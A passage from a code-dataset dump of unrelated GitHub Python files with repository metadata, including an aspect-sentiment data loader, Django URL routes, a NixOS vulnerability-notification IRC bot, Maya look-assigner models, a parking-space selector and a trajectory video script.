tokenizer.text_to_sequence(sentence_text)\r\n context_indices = tokenizer.text_to_sequence(text_left + \" \" + text_right)\r\n aspect_indices = tokenizer.text_to_sequence(aspect)\r\n left_indices = tokenizer.text_to_sequence(text_left)\r\n polarity = int(polarity)+1\r\n #加入位置信息\r\n #sentence = text_left + ' ' + aspect + ' ' + text_right\r\n sen_len = len(sentence_text.split())\r\n aspect_len = len(aspect.split())\r\n left_len = len(text_left.split())\r\n right_len = sen_len - aspect_len - left_len\r\n seq_graph = idx2gragh_seq[i]\r\n pmi_graph = idx2gragh_pmi[i]\r\n position = list(range(-left_len,0)) + [0]*aspect_len + list(range(1,right_len + 1))\r\n post_emb = [post_vocab.stoi.get(t, post_vocab.unk_index) for t in position]\r\n #post = tokenizer.pad_sequence(post, pad_id=0, maxlen=85, dtype='int64', padding='post',truncating='post')\r\n #mask = 1 - (text_indices == post_vocab.vocab.stoi['']).float()\r\n count = count + 1\r\n data = {\r\n 'text_indices': text_indices,\r\n 'context_indices': context_indices,\r\n 'aspect_indices': aspect_indices,\r\n 'left_indices': left_indices,\r\n 'polarity': polarity,\r\n 'post_emb': post_emb,\r\n 'seq_graph':seq_graph,\r\n 'pmi_graph': pmi_graph,\r\n 'xuhao': str(count),\r\n }\r\n\r\n all_data.append(data)\r\n return all_data\r\n\r\n def read_file(filename):\r\n with open(filename, 'r', encoding='gbk')as f:\r\n all_words = []\r\n text = f.readlines()\r\n for word in text:\r\n word = word.rstrip()\r\n word_list = word.split()\r\n\r\n all_words.append(word)\r\n if len(word_list) > 1:\r\n # print(word_list)\r\n all_words.append(word_list[0])\r\n\r\n # 返回list类型数据\r\n # text = text.split('\\n')\r\n return all_words\r\n\r\n\r\n\r\n def __init__(self, dataset='twitter', embed_dim=300,post_vocab=None):\r\n print(\"preparing {0} dataset ...\".format(dataset))\r\n fname = {\r\n 'twitter': {\r\n 'train': './datasets/acl-14-short-data/train.raw',\r\n 'test': './datasets/acl-14-short-data/test.raw'\r\n },\r\n 'rest14': {\r\n 'train': './datasets/semeval14/restaurant_train.raw',\r\n 'test': './datasets/semeval14/restaurant_test.raw'\r\n },\r\n 'lap14': {\r\n 'train': './datasets/semeval14/laptop_train.raw',\r\n 'test': './datasets/semeval14/laptop_test.raw'\r\n },\r\n 'rest15': {\r\n 'train': './datasets/semeval15/restaurant_train.raw',\r\n 'test': './datasets/semeval15/restaurant_test.raw'\r\n },\r\n 'rest16': {\r\n 'train': './datasets/semeval16/restaurant_train.raw',\r\n 'test': './datasets/semeval16/restaurant_test.raw'\r\n },\r\n\r\n }\r\n\r\n\r\n text = ABSADatesetReader.__read_text__([fname[dataset]['train'], fname[dataset]['test']])\r\n if os.path.exists(dataset+'_word2idx.pkl'):\r\n print(\"loading {0} tokenizer...\".format(dataset))\r\n with open(dataset+'_word2idx.pkl', 'rb') as f:\r\n word2idx = pickle.load(f)\r\n tokenizer = Tokenizer(word2idx=word2idx)\r\n else:\r\n tokenizer = Tokenizer()\r\n tokenizer.fit_on_text(text)\r\n with open(dataset+'_word2idx.pkl', 'wb') as f:\r\n pickle.dump(tokenizer.word2idx, f)\r\n self.embedding_matrix = build_embedding_matrix(tokenizer.word2idx, embed_dim, dataset)\r\n self.train_data = ABSADataset(ABSADatesetReader.__read_data__(fname[dataset]['train'], tokenizer,post_vocab))\r\n self.test_data = ABSADataset(ABSADatesetReader.__read_data__(fname[dataset]['test'], tokenizer,post_vocab))\r\n ", "repo_name": "julin1991/SEDC-GCN", "sub_path": "data_utils.py", "file_name": "data_utils.py", "file_ext": "py", "file_size_in_byte": 8846, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "json.load", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 29, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 38, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 110, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 206, "usage_type": "call"}, {"api_name": "os.path", "line_number": 206, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 209, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 215, "usage_type": "call"}]} +{"seq_id": "207340010", "text": "from django.contrib import admin\nfrom django.urls import path\nfrom . import views \n\nurlpatterns = [\n path('postcreate/', views.create, name='postcreate'),\n path('postupdate/', views.update, name = \"postupdate\"),\n path('postdelete/', views.delete, name ='postdelete'),\n path('postdetail/', views.detail, name = 'postdetail'),\n path('',views.all, name = 'postall'),\n]\n", "repo_name": "jiss02/Practice", "sub_path": "01_Django/herethon/post/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 420, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "10085574062", "text": "# Gold 5 - 문자열 게임 2\n\nfrom collections import Counter\nimport sys\ninput = sys.stdin.readline\n\nfor _ in range(int(input())):\n w = list(input().rstrip())\n k = int(input())\n d = dict(Counter(w))\n ans = []\n \n for key, value in d.items():\n if value >= k:\n tmp = list(filter(lambda x: w[x] == key, range(len(w))))\n \n for i in range(len(tmp) - k + 1):\n ans.append(tmp[i + k - 1] - tmp[i] + 1)\n \n if ans:\n print(min(ans), max(ans))\n else:\n print(-1)", "repo_name": "vhzkclq0705/Algorithm_Problem_Solving", "sub_path": "BackJoon/기출문제모음/20437.py", "file_name": "20437.py", "file_ext": "py", "file_size_in_byte": 545, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.stdin", "line_number": 5, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "10701420059", "text": "#!/usr/bin/env python3\nimport subprocess\nimport socket\nimport json\nimport ssl\nimport re\nimport os\n\n\nR_CVE = re.compile(r'CVE-\\d{4}-\\d+', flags=re.IGNORECASE)\n\n\ndef notify_irc(\n server='irc.freenode.net',\n nick='vulnix',\n channel='#nixos-dev',\n tls=True,\n port=6697,\n messages=None):\n\n if not messages:\n return\n\n sock = socket.socket()\n if tls:\n sock = ssl.wrap_socket(\n sock, cert_reqs=ssl.CERT_NONE,\n ssl_version=ssl.PROTOCOL_TLSv1_2)\n\n def send(command):\n return sock.send(('%s\\r\\n' % command).encode())\n\n sock.connect((server, port))\n send('NICK %s' % (nick))\n send('USER %s %s bla :%s' % (nick, server, nick))\n send('JOIN :%s' % channel)\n\n for m in messages:\n send('PRIVMSG %s :%s' % (channel, m))\n\n send('INFO')\n\n while True:\n data = sock.recv(4096)\n if not data:\n raise RuntimeError('Received empty data')\n\n # Assume INFO reply means we are done\n if b'End of /INFO list' in data:\n break\n\n if data.startswith(b'PING'):\n sock.send(data.replace(b'PING', b'PONG'))\n\n sock.send(b'QUIT')\n sock.close()\n\n\ndef run_command(command, extra_env=None):\n env = {**os.environ, **(extra_env or {})}\n\n p = subprocess.Popen(\n command, env=env, stdout=subprocess.PIPE)\n if p.wait() != 0:\n raise RuntimeError(f'Subprocess returned {p.wait()}')\n\n return p.communicate()[0].decode().strip()\n\n\ndef instantiate_drv(git_rev):\n extra_env = {\n 'NIX_PATH': f'nixpkgs=https://github.com/NixOS/nixpkgs/archive/{git_rev}.tar.gz' # noqa\n }\n\n release_combined = run_command([\n 'nix-instantiate',\n '--find-file',\n 'nixpkgs/nixos/release-combined.nix'\n ], extra_env)\n drv = run_command([\n 'nix-instantiate',\n release_combined.strip(),\n ], extra_env)\n return drv\n\n\ndef find_vulns(git_rev, whitelist):\n vulns = json.loads(subprocess.run(\n [\n 'vulnix', '--json',\n instantiate_drv(git_rev)\n ],\n stdout=subprocess.PIPE).stdout.decode())\n\n for pkg in vulns:\n affected_by = set(pkg['affected_by']) - whitelist\n pkg['affected_by'] = affected_by\n if affected_by:\n yield pkg\n\n\ndef whitelist_read(git_rev):\n with open(f'./whitelists/{git_rev}') as f:\n return set(m.group(0).upper() for m in R_CVE.finditer(f.read()))\n\n\ndef whitelist_write(git_rev, whitelist):\n with open(f'./whitelists/{git_rev}', 'w') as f:\n f.write('\\n'.join(whitelist))\n\n\ndef notification_format(git_rev, pkg):\n affected_by_str = ' '.join(pkg['affected_by'])\n return f'{pkg[\"pname\"]}: affected by {affected_by_str} in {git_rev}'\n\n\nif __name__ == '__main__':\n git_rev = 'master'\n\n whitelist = whitelist_read(git_rev)\n vulns_json = list(find_vulns(git_rev, whitelist))\n if not vulns_json:\n exit(0)\n\n new_cves = set()\n for pkg in vulns_json:\n for cve in pkg['affected_by']:\n whitelist.add(cve)\n\n new_cves.update(pkg['affected_by'])\n\n notify_irc(\n messages=[\n notification_format(git_rev, pkg)\n for pkg in vulns_json\n ]\n )\n\n whitelist_write(git_rev, whitelist)\n", "repo_name": "adisbladis/nix-vuln-bot", "sub_path": "vuln.py", "file_name": "vuln.py", "file_ext": "py", "file_size_in_byte": 3278, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "re.compile", "line_number": 10, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 10, "usage_type": "attribute"}, {"api_name": "socket.socket", "line_number": 24, "usage_type": "call"}, {"api_name": "ssl.wrap_socket", "line_number": 26, "usage_type": "call"}, {"api_name": "ssl.CERT_NONE", "line_number": 27, "usage_type": "attribute"}, {"api_name": "ssl.PROTOCOL_TLSv1_2", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 60, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 62, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 63, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 88, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 88, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 93, "usage_type": "attribute"}]} +{"seq_id": "35497264309", "text": "from collections import defaultdict\nfrom avalon.tools import models\n\nfrom avalon.vendor.Qt import QtCore\nfrom avalon.vendor import qtawesome\nfrom avalon.style import colors\n\n\nUNDEFINED_SUBSET = \"(Unknown)\"\n\n\nclass AssetModel(models.TreeModel):\n\n Columns = [\"label\", \"subset\"]\n\n def add_items(self, items, by_selection=False):\n \"\"\"\n Add items to model with needed data\n Args:\n items(list): collection of item data\n\n Returns:\n None\n \"\"\"\n\n self.beginResetModel()\n\n child_icon = \"mouse-pointer\" if by_selection else \"file-o\"\n\n # Add the items sorted by label\n sorter = (lambda x: x[\"label\"])\n\n for item in sorted(items, key=sorter):\n\n asset_item = models.Item()\n asset_item.update(item)\n asset_item[\"icon\"] = \"folder\"\n\n # Add namespace children\n namespaces = item[\"namespaces\"]\n namespace_nodes = item[\"nodesByNamespace\"]\n namespace_selection = item[\"selectByNamespace\"]\n\n for namespace in sorted(namespaces):\n child = models.Item()\n child.update(item)\n child.update({\n \"label\": (namespace if namespace != \":\"\n else \"(no namespace)\"),\n \"subset\": item[\"subsets\"][namespace],\n \"namespace\": namespace,\n \"looks\": item[\"looks\"],\n \"nodes\": namespace_nodes[namespace],\n \"selectBack\": namespace_selection[namespace],\n \"icon\": child_icon\n })\n asset_item.add_child(child)\n\n self.add_child(asset_item)\n\n self.endResetModel()\n\n def data(self, index, role):\n\n if not index.isValid():\n return\n\n if role == self.ItemRole:\n node = index.internalPointer()\n return node\n\n # Add icon\n if role == QtCore.Qt.DecorationRole:\n if index.column() == 0:\n node = index.internalPointer()\n icon = node.get(\"icon\")\n if icon:\n return qtawesome.icon(\"fa.{0}\".format(icon),\n color=colors.default)\n if index.column() == 1:\n node = index.internalPointer()\n if \"subset\" in node:\n if node[\"subset\"] == UNDEFINED_SUBSET:\n return qtawesome.icon(\"fa.question-circle\",\n color=\"#BD2D2D\")\n else:\n return qtawesome.icon(\"fa.bookmark\", color=\"#BBC0C6\")\n\n return super(AssetModel, self).data(index, role)\n\n def headerData(self, section, orientation, role):\n\n if role == QtCore.Qt.DisplayRole:\n if section == self.Columns.index(\"label\"):\n return \"asset\"\n\n return super(AssetModel, self).headerData(section,\n orientation,\n role)\n\n\nclass _LookModel(models.TreeModel):\n\n def data(self, index, role):\n\n if not index.isValid():\n return\n\n # Add icon\n if role == QtCore.Qt.DecorationRole:\n if index.column() == 0:\n return qtawesome.icon(\"fa.paint-brush\", color=\"#BBC0C6\")\n\n return super(_LookModel, self).data(index, role)\n\n def headerData(self, section, orientation, role):\n\n if role == QtCore.Qt.DisplayRole:\n if section == self.Columns.index(\"label\"):\n return \"subset\"\n\n return super(_LookModel, self).headerData(section,\n orientation,\n role)\n\n\nclass LookModel(_LookModel):\n \"\"\"Model displaying a list of looks and matches for assets\"\"\"\n\n Columns = [\"label\", \"match\"]\n\n def add_items(self, items):\n \"\"\"Add items to model with needed data\n\n An item exists of:\n {\n \"subset\": 'name of subset',\n \"asset\": asset_document\n }\n\n Args:\n items(list): collection of item data\n\n Returns:\n None\n \"\"\"\n\n self.beginResetModel()\n\n # Collect the assets per look name (from the items of the AssetModel)\n look_subsets = defaultdict(list)\n for asset_item in items:\n asset = asset_item[\"asset\"]\n for look in asset_item[\"looks\"]:\n key = look[\"name\"]\n look_subsets[key].append(asset)\n\n for subset, assets in sorted(look_subsets.iteritems()):\n\n # Define nice label without \"look\" prefix for readability\n label = subset if not subset.startswith(\"look\") else subset[4:]\n\n item_node = models.Item()\n item_node[\"label\"] = label\n item_node[\"subset\"] = subset\n\n # Amount of matching assets for this look\n item_node[\"match\"] = len(set([_[\"name\"] for _ in assets]))\n\n # Store the assets that have this subset available\n item_node[\"assets\"] = assets\n\n self.add_child(item_node)\n\n self.endResetModel()\n\n\nclass LoadedLookModel(_LookModel):\n \"\"\"Model displaying a list of loaded looks and matches for assets\"\"\"\n\n Columns = [\"label\", \"ident\"]\n\n def add_items(self, items):\n\n self.beginResetModel()\n\n # Collect the assets per look name (from the items of the AssetModel)\n look_subsets = defaultdict(list)\n for asset_item in items:\n asset = asset_item[\"asset\"]\n for look in asset_item[\"loadedLooks\"]:\n key = (look[\"name\"], look[\"ident\"])\n look_subsets[key].append(asset)\n\n for (subset, ident), assets in sorted(look_subsets.iteritems()):\n\n # Define nice label without \"look\" prefix for readability\n label = subset if not subset.startswith(\"look\") else subset[4:]\n\n item_node = models.Item()\n item_node[\"label\"] = label\n item_node[\"subset\"] = subset\n item_node[\"ident\"] = ident\n\n # Store the assets that have this subset available\n item_node[\"assets\"] = assets\n\n self.add_child(item_node)\n\n self.endResetModel()\n", "repo_name": "davidlatwe/reveries-config", "sub_path": "reveries/maya/tools/mayalookassigner/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 6388, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "16", "api": [{"api_name": "avalon.tools.models.TreeModel", "line_number": 12, "usage_type": "attribute"}, {"api_name": "avalon.tools.models", "line_number": 12, "usage_type": "name"}, {"api_name": "avalon.tools.models.Item", "line_number": 35, "usage_type": "call"}, {"api_name": "avalon.tools.models", "line_number": 35, "usage_type": "name"}, {"api_name": "avalon.tools.models.Item", "line_number": 45, "usage_type": "call"}, {"api_name": "avalon.tools.models", "line_number": 45, "usage_type": "name"}, {"api_name": "avalon.vendor.Qt.QtCore.Qt", "line_number": 73, "usage_type": "attribute"}, {"api_name": "avalon.vendor.Qt.QtCore", "line_number": 73, "usage_type": "name"}, {"api_name": "avalon.vendor.qtawesome.icon", "line_number": 78, "usage_type": "call"}, {"api_name": "avalon.vendor.qtawesome", "line_number": 78, "usage_type": "name"}, {"api_name": "avalon.style.colors.default", "line_number": 79, "usage_type": "attribute"}, {"api_name": "avalon.style.colors", "line_number": 79, "usage_type": "name"}, {"api_name": "avalon.vendor.qtawesome.icon", "line_number": 84, "usage_type": "call"}, {"api_name": "avalon.vendor.qtawesome", "line_number": 84, "usage_type": "name"}, {"api_name": "avalon.vendor.qtawesome.icon", "line_number": 87, "usage_type": "call"}, {"api_name": "avalon.vendor.qtawesome", "line_number": 87, "usage_type": "name"}, {"api_name": "avalon.vendor.Qt.QtCore.Qt", "line_number": 93, "usage_type": "attribute"}, {"api_name": "avalon.vendor.Qt.QtCore", "line_number": 93, "usage_type": "name"}, {"api_name": "avalon.tools.models.TreeModel", "line_number": 102, "usage_type": "attribute"}, {"api_name": "avalon.tools.models", "line_number": 102, "usage_type": "name"}, {"api_name": "avalon.vendor.Qt.QtCore.Qt", "line_number": 110, "usage_type": "attribute"}, {"api_name": "avalon.vendor.Qt.QtCore", "line_number": 110, "usage_type": "name"}, {"api_name": "avalon.vendor.qtawesome.icon", "line_number": 112, "usage_type": "call"}, {"api_name": "avalon.vendor.qtawesome", "line_number": 112, "usage_type": "name"}, {"api_name": "avalon.vendor.Qt.QtCore.Qt", "line_number": 118, "usage_type": "attribute"}, {"api_name": "avalon.vendor.Qt.QtCore", "line_number": 118, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 151, "usage_type": "call"}, {"api_name": "avalon.tools.models.Item", "line_number": 163, "usage_type": "call"}, {"api_name": "avalon.tools.models", "line_number": 163, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 188, "usage_type": "call"}, {"api_name": "avalon.tools.models.Item", "line_number": 200, "usage_type": "call"}, {"api_name": "avalon.tools.models", "line_number": 200, "usage_type": "name"}]} +{"seq_id": "16430966730", "text": "import cv2\r\nimport pickle\r\n\r\nclass Manual():\r\n def __init__(self):\r\n try:\r\n with open('carPositions', 'rb') as f:\r\n self.positions = pickle.load(f)\r\n print(\"manual edit mode active..\")\r\n except:\r\n self.positions = []\r\n self.points = [] # left top coord - right bottom coord\r\n \r\n def select_point(self, event,x,y,flags,param):\r\n global ix,iy\r\n if event == cv2.EVENT_LBUTTONDOWN: # captures left button down\r\n ix,iy = x,y\r\n #print(ix,iy)\r\n self.points.append([ix,iy])\r\n if len(self.points) == 2:\r\n cv2.destroyWindow('image')\r\n cv2.destroyAllWindows()\r\n \r\n def clk(self, events, x, y, flags, params):\r\n if events == cv2.EVENT_LBUTTONDOWN:\r\n self.positions.append((x,y))\r\n if events == cv2.EVENT_RBUTTONDOWN:\r\n for i, pos in enumerate(self.positions):\r\n xg,yg = pos\r\n if xg < x < xg + self.width and yg < y < yg + self.height:\r\n self.positions.pop(i)\r\n with open('carPositions', 'wb') as f:\r\n pickle.dump(self.positions, f)\r\n with open('parkWidthHeight', 'wb') as f:\r\n pickle.dump([self.width, self.height], f)\r\n \r\n def runman(self, imname = \"carParkImg.png\"):\r\n while True:\r\n image = cv2.imread(imname)\r\n cv2.namedWindow('image')\r\n cv2.setMouseCallback('image', self.select_point)\r\n cv2.putText(image, \"1.click left top, 2. click right bottom\", (50,50), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (255, 0, 0), 2, cv2.LINE_AA)\r\n cv2.imshow('image',image)\r\n cv2.waitKey(0) \r\n cv2.destroyAllWindows()\r\n image = cv2.imread(imname)\r\n cv2.putText(image, \"You can see the size you selected, press \\\"c\\\" to continue, any other to reselect\", (50,50), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (255, 0, 0), 2, cv2.LINE_AA)\r\n cv2.rectangle(image,(self.points[0][0], self.points[0][1]),(self.points[1][0], self.points[1][1]),(255,0,0),2)\r\n cv2.imshow(\"image\", image)\r\n ky = cv2.waitKey(0) \r\n cv2.destroyAllWindows()\r\n #print(self.points)\r\n if ky & 0xFF == ord(\"c\"):\r\n break\r\n self.points = [] \r\n \r\n self.width = self.points[1][0] - self.points[0][0]\r\n self.height = self.points[1][1] - self.points[0][1]\r\n\r\n while True: \r\n image = cv2.imread(imname)\r\n cv2.putText(image, \"Click top left of the area you want to select. Right Click to remove (q to exit)\", (50,50), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (255, 0, 0), 2, cv2.LINE_AA)\r\n for pos in self.positions:\r\n cv2.rectangle(image,pos ,(pos[0] + self.width, pos[1] + self.height),(157,3,252),2)\r\n cv2.imshow(\"image\", image)\r\n cv2.setMouseCallback('image', self.clk)\r\n key = cv2.waitKey(1)\r\n if key & 0xFF == ord(\"q\"):\r\n cv2.destroyAllWindows()\r\n break", "repo_name": "ufukpalpas/Counting-Finding-Vacant-Parking-Spaces", "sub_path": "manual.py", "file_name": "manual.py", "file_ext": "py", "file_size_in_byte": 3135, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pickle.load", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.EVENT_LBUTTONDOWN", "line_number": 16, "usage_type": "attribute"}, {"api_name": "cv2.destroyWindow", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.EVENT_LBUTTONDOWN", "line_number": 25, "usage_type": "attribute"}, {"api_name": "cv2.EVENT_RBUTTONDOWN", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 33, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 35, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.namedWindow", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.setMouseCallback", "line_number": 41, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 42, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 42, "usage_type": "attribute"}, {"api_name": "cv2.LINE_AA", "line_number": 42, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 44, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 46, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 47, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 47, "usage_type": "attribute"}, {"api_name": "cv2.LINE_AA", "line_number": 47, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 48, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 50, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 62, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 62, "usage_type": "attribute"}, {"api_name": "cv2.LINE_AA", "line_number": 62, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 64, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 65, "usage_type": "call"}, {"api_name": "cv2.setMouseCallback", "line_number": 66, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 67, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 69, "usage_type": "call"}]} +{"seq_id": "33132154439", "text": "import numpy as np\nimport cv2\nimport os\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nfrom tqdm import tqdm\n\nbase_dirs = [\"/home/karl/Downloads/bair_labeling/groundtruth\",\n \"/home/karl/Downloads/bair_labeling/cdna_compActions\",\n \"/home/karl/Downloads/bair_labeling/cdna_noCompActions\",\n \"/home/karl/Downloads/bair_labeling/cdna_action_cond\"]\nset_names = [[\"groundtruth\"],\n [\"ours,\", \"unsupervised\"],\n [\"Denton & Fergus [8],\", \"unsupervised\"],\n [\"Finn & Levine [13],\", \"supervised\"]]\nlab_file = \"labels.npy\"\ninput_file = \"test_seqs.npy\"\noutput_dir = \"/home/karl/Downloads/traj_vids\"\n\nframe_resolution = 300\n\n\ndef load_labels(outfile_name):\n if os.path.isfile(outfile_name):\n print(\"Loading already annotated labels!\")\n labels = np.load(outfile_name)\n labels = [np.squeeze(l) for l in np.split(labels, labels.shape[0], axis=0)]\n return labels\n else:\n raise ValueError(\"Could not find the label file!\")\n\n\ndef blend_imgs(imgs):\n return imgs[0] * 1.0#0.5 + imgs[9] * 0.5\n\n\ndef draw_trajectory(img, labels, max_labels=None):\n num_labels = labels.shape[0] if max_labels is None else max_labels\n total_num_labels = labels.shape[0]\n img = np.asarray(img, dtype=np.float64).copy()\n\n # draw lines\n # x = np.linspace(0.0, 1.0, total_num_labels - 1)\n # rgb_colors = cm.get_cmap(\"plasma\")(x)[:, :3]\n # for lab_idx in range(num_labels-1):\n # start = np.asarray(labels[lab_idx, :2], dtype=np.uint8)\n # end = np.asarray(labels[lab_idx+1, :2], dtype=np.uint8)\n # cv2.line(img, (start[0], start[1]), (end[0], end[1]), (rgb_colors[lab_idx, 0],\n # rgb_colors[lab_idx, 1],\n # rgb_colors[lab_idx, 2]), 2)\n\n # draw circles\n x = np.linspace(0.0, 1.0, total_num_labels)\n rgb_colors = cm.get_cmap(\"plasma\")(x)[:, :3]\n for lab_idx in range(num_labels):\n pt = np.asarray(labels[lab_idx, :2], dtype=np.uint8)\n cv2.circle(img, (pt[0], pt[1]), 1, (rgb_colors[lab_idx, 0],\n rgb_colors[lab_idx, 1],\n rgb_colors[lab_idx, 2]), -1)\n return img\n\n\ndef format_imgs(imgs):\n final_img = None\n for i, dir_name in enumerate(base_dirs):\n res_img = cv2.resize(imgs[i], (frame_resolution, frame_resolution))\n set_name = set_names[i]\n if len(set_name) == 1:\n cv2.putText(res_img, set_name[0],\n (15,frame_resolution - 35),\n cv2.FONT_HERSHEY_COMPLEX_SMALL,\n 1.0,\n (0,255,0),\n 2)\n else:\n cv2.putText(res_img, set_name[0],\n (15, frame_resolution - 55),\n cv2.FONT_HERSHEY_COMPLEX_SMALL,\n 1.0,\n (0, 255, 0),\n 2)\n cv2.putText(res_img, set_name[1],\n (15, frame_resolution - 35),\n cv2.FONT_HERSHEY_COMPLEX_SMALL,\n 1.0,\n (0, 255, 0),\n 2)\n\n final_img = res_img if final_img is None else np.concatenate((final_img, res_img), axis=1)\n # cv2.imshow('image', final_img[..., ::-1])\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n return final_img[..., ::-1]\n\n\nif __name__ == \"__main__\":\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n img_sets, label_sets = [], []\n for base_dir in base_dirs:\n data_file = os.path.join(base_dir, input_file)\n outfile_name = os.path.join(base_dir, lab_file)\n imgs = np.load(data_file)\n imgs = (imgs + 1) / 2\n img_sets.append(np.transpose(imgs, (0, 1, 3, 4, 2)))\n label_sets.append(load_labels(outfile_name))\n\n seq_len, num_seqs, channels, resolution, _ = img_sets[0].shape\n\n for seq_idx in tqdm(range(num_seqs)):\n # generate trajectory plot\n output_img_list = []\n for set_idx in range(len(base_dirs)):\n seq_imgs = img_sets[set_idx][:, seq_idx]\n seq_labels = label_sets[set_idx][seq_idx]\n blended_img = blend_imgs(seq_imgs)\n output_img_list.append(draw_trajectory(blended_img, seq_labels))\n video_img_list = [format_imgs(output_img_list)]\n video_img_list.append(video_img_list[0])\n\n # append the individual images\n for i in range(seq_len):\n step_set = []\n for set_idx in range(len(base_dirs)):\n step_img = img_sets[set_idx][i, seq_idx]\n traj_step_img = draw_trajectory(step_img, label_sets[set_idx][seq_idx], max_labels=i+1)\n step_set.append(traj_step_img)\n video_img_list.append(format_imgs(step_set))\n\n # save everything to a video\n outfile = os.path.join(output_dir, \"seq_%d.avi\" % seq_idx)\n img_size = np.asarray(video_img_list[0].shape, dtype=np.uint)[:2]\n fourcc = cv2.VideoWriter_fourcc(*'XVID')\n writer = cv2.VideoWriter(outfile, fourcc, 2.0, (img_size[1], img_size[0]))\n for img in video_img_list:\n writer.write(np.asarray(img*255, dtype=np.uint8))\n writer.release()\n\n # save complete trajectory figure individually\n outfile = os.path.join(output_dir, \"seq_%d.png\" % seq_idx)\n cv2.imwrite(outfile, np.asarray(video_img_list[0]*255, dtype=np.uint8))\n\n if seq_idx == 13:\n stored_img_stack = video_img_list\n\n if seq_idx == 30:\n fused_img_stack = []\n whitespace = np.ones([10, video_img_list[0].shape[1], 3])\n for img1, img2 in zip(stored_img_stack, video_img_list):\n fused_img = np.concatenate([img1, whitespace, img2], axis=0)\n fused_img_stack.append(fused_img)\n # save everything to a video\n outfile = os.path.join(output_dir, \"fused_seq.avi\")\n img_size = np.asarray(fused_img_stack[0].shape, dtype=np.uint)[:2]\n fourcc = cv2.VideoWriter_fourcc(*'XVID')\n writer = cv2.VideoWriter(outfile, fourcc, 2.0, (img_size[1], img_size[0]))\n for img in fused_img_stack:\n writer.write(np.asarray(img * 255, dtype=np.uint8))\n writer.release()\n\n # save complete trajectory figure individually\n outfile = os.path.join(output_dir, \"fused_seq.png\")\n cv2.imwrite(outfile, np.asarray(fused_img_stack[0] * 255, dtype=np.uint8))\n", "repo_name": 